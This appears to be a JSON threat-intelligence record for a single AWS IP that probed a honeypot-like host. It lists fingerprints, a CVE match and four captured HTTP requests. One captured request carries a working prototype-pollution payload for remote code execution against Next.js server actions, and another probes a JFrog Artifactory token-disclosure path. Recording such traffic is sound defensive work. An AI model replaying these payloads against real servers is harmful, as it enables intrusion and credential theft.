{"ip":"52.205.220.146","data_as_of":"2026-10-20T14:23:53+00:00","observed":true,"total_events":4,"verdict":{"verdict":"probing","label":"Low-level probing","detail":null,"confidence":"low","network_type":null,"why":["4 event(s), fewer than 10 distinct ports, no exploit payloads.","Not in any known-scanner range.","Sent 5,511 bytes to few ports with no known exploit path, which is focused interaction with one service."],"engagement":{"level":"payload","label":"Sustained payload","detail":"5,511 bytes sent","bytes_sent":5511,"session_seconds":6,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-02T18:49:47","last_seen":"2026-10-02T18:49:53","events_24h":0,"events_7d":0,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"US","country_name":"United States","region":"Virginia","city":"Ashburn","lat":39.0469,"lon":-77.4903,"asn":14618,"org":"Amazon.com, Inc."},"source_domain":"ec2-52-205-220-146.compute-1.amazonaws.com","known_scanners":[],"scanner_tag":{"key":"aws","label":"Amazon AWS","category":"hosting_provider","url":"https://aws.amazon.com/"},"cve_matches":[{"cve_id":"CVE-2026-42018","title":"JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/access/api/v1/aws/token","kev_date_added":"2026-09-11"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":4}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d131100_f57a46bbacb6_f50d94e863eb"],"tls_client_hello":"16030105ef010005eb0303a0619953eb9bbb8c7175ffbf349176fd4c711b64d6d107566b6b06816e2b059c2093f03439d2edf9bc2c9b7f141fcbf21a766e5b4a1f1f58f23f5abb8e29f98dd9001ac02bc02fc02cc030cca9cca8c009c013c00ac014130113021303010005880000001d001b0000187069686f6c652e6368696361676f2e76706e69676f2e6465000b00020100ff010001000017000000120000000500050100000000000a000c000a11ec001d001700180019000d001c001a090409050906080404030807080508060401050106010503060300320020001e090409050906080404030807080508060401050106010503060302010203002b00050403040303003304ea04e811ec04c0335c83d8734de524ac17476a33d287b4c96416cca74d7297770ba17b4b777b045f71007c75f1a8799c00e924631df97e5d590f5ae59bb73b4a5a184d51bb683bb7ccc10812dbb3b87c13835db3a0742598a9bc005084ca84c120adf737bfbc244bbbcc5ef2914966474954b47cf79c9f6a00dc21a38f47306412bf7c608f73d950c86c1d02c465c2c5bd21849733c09a0172919a9a85d6512643b780a541a830fab4060059c0bac18f2ac388b50221b583a5409d234cce44702f458b0c89a6c354fcaf99dc4174e68951b77e8bd1a029790e64650ebf839a82c25357056b12c64aea4a503de0940433300fa6263fa40f5b5c62f5161a68768b51999994db929928c0600ba9ed6b4a2df3985969859686718cd80882d6394b991476eb7a0f798221d77c02147046c2bd305234df18638a78ae01c23d5dac7c42c63f40ba5ea3597085fc2ec75986044a4aaf0cc2f7958a2f5088901696c1c6a7a4908e7a76a4ef6685cba0cde1629872e02b125c73632a59f0248a386ca61825c80e96b4d2d1b8bc4852c91856bf9230aceb99b8ebc8250738e708293dd47e10998f5a4199f476ba2dbabb6f14a759001f3f7787a0666e7eb846464ababbe9aa41cb1445e68cb221a37c7193c73c13daf401b792bff2347618c9284a0a8a67c479db5049d1b96b740a7a3452153a279d66b03f7d71cdbfe44f0e543190dc5ef09340b3593355c2c79c52611b2b194dc9982970b95eb8b285c242bc121322b77d0a7b6924d63266ab164b78abf00ccbfcea2408901de9b173e098a2a1852befc766726a2e36f7c4f25a6fc4ccc7f91465419926fd9b617fc3bac3a5339c382ee9b873e860cff9c5780a46abb1d74f5113157847abf9255d5c3b9fea881ec2c01ed70000a695b031e4a7d080333f16bd94e973fd343841798ea56c9e52f133137208f75cbd8a2532c41cbf3fcac93da6abece149a19012fad2821330218a70b8fd40b9b32677a64869b2970215c72e5cc26ff3097cd97b0bb4b688ff043ae9566da6763e4a4c1756721d380cbece44c1ad410f04253a49642b4e982a3c48bf774181d2b91f3adc38176819e8f4297a6563624c9e0d656c401558dd109e2737a9955983d18973921a7895713d9452799230cb1a5a613279b57b328412c3494f27006f28819f522dec84830f0caf93d175354a7a35b806bb5c73aa8c446c23590af565d2284a28e9928b09531d4885c842b4462ba4895565d7013a19ea828556b0919318339c81d6d231ab03c455c34b2e9a0a234c3203e2b3546205d7753c758c4acdf7916b3029a67218c6a92b13bb852865179ff02a60c0182f864307d317757589cb53985a090b48f72553500fe3bcc153840352290906521a60bc9998236b8e019ff43c8950ab40f96697a1162872bcbf95ab7b33927fe0e6ad6b548da1a27117230b5f77a1047c2d8d846e5bfc30a8b40565c86eac6b26c0b9081b8a1d0e94046265b2b9f59b17c639bdd248e10784604a0c0c683b31a015e9a62126a2c55e6b8a0acc2d0eb5b671aa9277a205bf55b339ec21c472394f3c3da41c01ac583166b549681042add74cc486632f681110ba76625c5b2d80543bc5cf6715a851326ab6cab03502a41e6d5e3a5d6fecf87d80ee0c8d63fd13b651f0d0ff4e67d646af5e3113c2769cf4974daec6fa2f884d807fad22bb6472fa05f3c5c2c066f4566f599287dfb13b001d0020f4974daec6fa2f884d807fad22bb6472fa05f3c5c2c066f4566f59","tls_ja3":["20b279993ae2e137e62b9647c6d768fb"],"http_akin":["b11cuq061_00050812_0421ce22_xe7f3","b11cun050_0004001e_a647ba7f","b11cuq070_0005081e_e696a431"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13d131100_f57a46bbacb6_f50d94e863eb":7,"b11cuq061_00050812_0421ce22_xe7f3":6,"b11cun050_0004001e_a647ba7f":5,"b11cuq070_0005081e_e696a431":4},"akin_families":{},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","Mozilla/5.0"],"timeline":[{"date":"2026-10-02","count":4}],"recent_events":[{"timestamp":"2026-10-02T18:49:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\"accept-encoding\":\"gzip\",\"accept-language\":\"en-US,en;q=0.9\",\"content-length\":\"2\",\"content-type\":\"application/json\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\"}","body":"{}","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/access/api/v1/aws/token/","summary":"","payload_hex":"504f5354202f6163636573732f6170692f76312f6177732f746f6b656e2f20485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132342e302e302e30205361666172692f3533372e33360d0a436f6e74656e742d4c656e6774683a20320d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b7d","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","ja3":"20b279993ae2e137e62b9647c6d768fb","session":"87a5f7be-a340-41ea-adc8-8fda0e470ec0","seq":4,"duration_ms":6398,"bytes_in":2100,"bytes_out":316},{"timestamp":"2026-10-02T18:49:48","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\"accept-encoding\":\"gzip\",\"accept-language\":\"en-US,en;q=0.9\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\"}","body":"","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/access/api/v1/system/ping","summary":"","payload_hex":"474554202f6163636573732f6170692f76312f73797374656d2f70696e6720485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132342e302e302e30205361666172692f3533372e33360d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","ja3":"20b279993ae2e137e62b9647c6d768fb","session":"87a5f7be-a340-41ea-adc8-8fda0e470ec0","seq":3,"duration_ms":968,"bytes_in":1718,"bytes_out":237},{"timestamp":"2026-10-02T18:49:47","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\"accept-encoding\":\"gzip\",\"accept-language\":\"en-US,en;q=0.9\",\"host\":\"pihole.chicago.vpnigo.de\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\"}","body":"","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/","summary":"","payload_hex":"474554202f20485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132342e302e302e30205361666172692f3533372e33360d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a20656e2d55532c656e3b713d302e390d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","ja3":"20b279993ae2e137e62b9647c6d768fb","session":"87a5f7be-a340-41ea-adc8-8fda0e470ec0","seq":1,"duration_ms":100,"bytes_in":304,"bytes_out":79},{"timestamp":"2026-10-02T18:49:47","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"pihole.chicago.vpnigo.de","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"866\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\",\"host\":\"pihole.chicago.vpnigo.de\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return 'vUlN_cHeCk_sUcCeSs_69420';})();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/x?d=${encodeURIComponent(String(res))};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\r\n","sni":"pihole.chicago.vpnigo.de","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a207069686f6c652e6368696361676f2e76706e69676f2e64650d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a203836360d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e64617279374d41345957786b54725a753067570d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e64617279374d41345957786b54725a753067570d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a22766172207265733d2866756e6374696f6e28297b766172205f723d747970656f662072657175697265213d3d27756e646566696e6564273f726571756972653a2870726f636573732e6d61696e4d6f64756c653f70726f636573732e6d61696e4d6f64756c652e726571756972652e62696e642870726f636573732e6d61696e4d6f64756c65293a28747970656f6620676c6f62616c546869732e72657175697265213d3d27756e646566696e6564273f676c6f62616c546869732e726571756972653a6e756c6c29293b72657475726e202776556c4e5f634865436b5f735563436553735f3639343230273b7d2928293b7468726f77204f626a6563742e61737369676e286e6577204572726f7228274e4558545f524544495245435427292c7b6469676573743a604e4558545f52454449524543543b707573683b2f783f643d247b656e636f6465555249436f6d706f6e656e7428537472696e672872657329297d3b3330373b607d293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e64617279374d41345957786b54725a753067570d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e64617279374d41345957786b54725a753067570d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e64617279374d41345957786b54725a753067572d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"20b279993ae2e137e62b9647c6d768fb","session":"87a5f7be-a340-41ea-adc8-8fda0e470ec0","seq":2,"duration_ms":536,"bytes_in":1389,"bytes_out":158}],"http_methods":[{"method":"GET","count":2},{"method":"POST","count":2}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":2,"ports":1},{"path":"/access/api/v1/aws/token/","count":1,"ports":1},{"path":"/access/api/v1/system/ping","count":1,"ports":1}],"distinct_paths_total":3,"top_snis":[{"value":"pihole.chicago.vpnigo.de","count":4}],"top_hosts":[{"value":"pihole.chicago.vpnigo.de","count":4}],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Accept-Language","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept","value":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Accept-Language","value":"en-US,en;q=0.9","notable":false},{"name":"Content-Length","value":"2","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"pihole.chicago.vpnigo.de","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","notable":false}],"distinct_sets":3,"events_with_headers":4},"tags":[{"tag_id":"CVE-2026-42018","tag_type":"cve","title":"JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/access/api/v1/aws/token","reference_urls":["https://docs.jfrog.com/releases/docs/jfrog-security-advisories","https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201","https://github.com/BL0odz/JFrog_CVE-2026-65615-ByGLM","https://edrabb.fr/posts/full-chain-preauth-rce-jfrog-artifactory/","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42018"],"kev_date_added":"2026-09-11"}]}